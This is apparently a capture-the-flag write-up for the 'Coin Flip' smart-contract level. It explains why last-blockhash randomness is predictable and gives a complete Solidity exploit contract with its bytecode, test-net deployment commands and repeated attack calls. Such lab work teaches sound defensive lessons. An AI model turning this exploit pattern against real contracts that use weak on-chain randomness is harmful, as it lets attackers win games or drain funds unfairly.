Coin Flip
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.
Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.
Some options include using Bitcoin block headers (verified throughBTC Relay),RANDAO, orOraclize).
Solution
We can write the contract to calculate the answer in each one block. Using Truffle to compile below contract to get the ABI and bytecode.
- Gamber.sol
pragma solidity ^0.4.18;
contract CoinFlip {
function flip(bool _guess) returns (bool);
}
contract Gamber {
CoinFlip coinFlipContract;
address target = 0x79c57b715d5d9e9e9c583af7f71f1098f3893b2c;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function Gamber() public {
coinFlipContract = CoinFlip(target);
}
function tryIt() public view returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
return coinFlip == 1 ? true : false;
}
function flip() public {
bool guess = tryIt();
coinFlipContract.flip(guess);
}
}
Deploy our contract
Then deploy it to Ropsten test net by web3 of MetaMask in Chrome.
> player
"0x7e07f3b21bd4baebbaf049b2e7420b10d12a0e4b"
> var abi = [ { "inputs": [], "payable": false, "stateMutability": "nonpayable", "type": "constructor" }, { "constant": true, "inputs": [], "name": "tryIt", "outputs": [ { "name": "", "type": "bool" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [], "name": "flip", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ];
> var bytecode = "0x608060405260018054600160a060020a0319167379c57b715d5d9e9e9c583af7f71f1098f3893b2c1790557f800000000000000000000000000000000000000000000000000000000000000060035534801561005a57600080fd5b5060015460008054600160a060020a031916600160a060020a039092169190911790556101b88061008c6000396000f30060806040526004361061004b5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663cde4efa98114610050578063fdc8530814610067575b600080fd5b34801561005c57600080fd5b50610065610090565b005b34801561007357600080fd5b5061007c610143565b604080519115158252519081900360200190f35b600061009a610143565b60008054604080517f1d263f670000000000000000000000000000000000000000000000000000000081528415156004820152905193945073ffffffffffffffffffffffffffffffffffffffff90911692631d263f6792602480840193602093929083900390910190829087803b15801561011457600080fd5b505af1158015610128573d6000803e3d6000fd5b505050506040513d602081101561013e57600080fd5b505050565b60025460009060001943014090829082141561015e57600080fd5b60028290556003548281151561017057fe5b04905080600114610182576000610185565b60015b92505050905600a165627a7a72305820f1b1302aab8cc7cb9abd9c8698e8a22cfddc4dfab0c09a2d63b9ca73c378fdbb0029";
> var gamberContract = web3.eth.contract(abi);
> gamberContract.new([], { from: player, data: bytecode, gas: "0x39131" }, function(err, res) {});
Using PostMan to ask gas.
POST
https://ropsten.infura.io/
{"jsonrpc":"2.0","method":"eth_estimateGas","params":[{ "data": "0x608060405260018054600160a060020a0319167379c57b715d5d9e9e9c583af7f71f1098f3893b2c1790557f800000000000000000000000000000000000000000000000000000000000000060035534801561005a57600080fd5b5060015460008054600160a060020a031916600160a060020a039092169190911790556101b88061008c6000396000f30060806040526004361061004b5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663cde4efa98114610050578063fdc8530814610067575b600080fd5b34801561005c57600080fd5b50610065610090565b005b34801561007357600080fd5b5061007c610143565b604080519115158252519081900360200190f35b600061009a610143565b60008054604080517f1d263f670000000000000000000000000000000000000000000000000000000081528415156004820152905193945073ffffffffffffffffffffffffffffffffffffffff90911692631d263f6792602480840193602093929083900390910190829087803b15801561011457600080fd5b505af1158015610128573d6000803e3d6000fd5b505050506040513d602081101561013e57600080fd5b505050565b60025460009060001943014090829082141561015e57600080fd5b60028290556003548281151561017057fe5b04905080600114610182576000610185565b60015b92505050905600a165627a7a72305820f1b1302aab8cc7cb9abd9c8698e8a22cfddc4dfab0c09a2d63b9ca73c378fdbb0029" }],"id":63}
The transaction hash is 0x1a1e77c7f9d596d758bbf5045652b15b8bffde78928f68a27bd2ef12c9c23f3f
and contract address is 0x87c8c29A81d09F2600AfE3548570a1ebF23d4373
.
Attack
Repeat below attack with 10 times.
> var gamber = gamberContract.at("0x87c8c29A81d09F2600AfE3548570a1ebF23d4373");
> gamber.flip(function(err, res) {}); // attack
> await contract.consecutiveWins().then(x => x.toNumber()) // check the result
1
Reference
Predicting Random Numbers in Ethereum Smart Contracts
_A certain number of contracts use another variation of blockhash-based PRNGs, relying on the blockhash of the last block. Needless to say, this approach is also flawed: _**an attacker can make an exploit contract with the same PRNG code in order to call the target contract via an internal message.**_ The “random” numbers for the two contracts will be the same._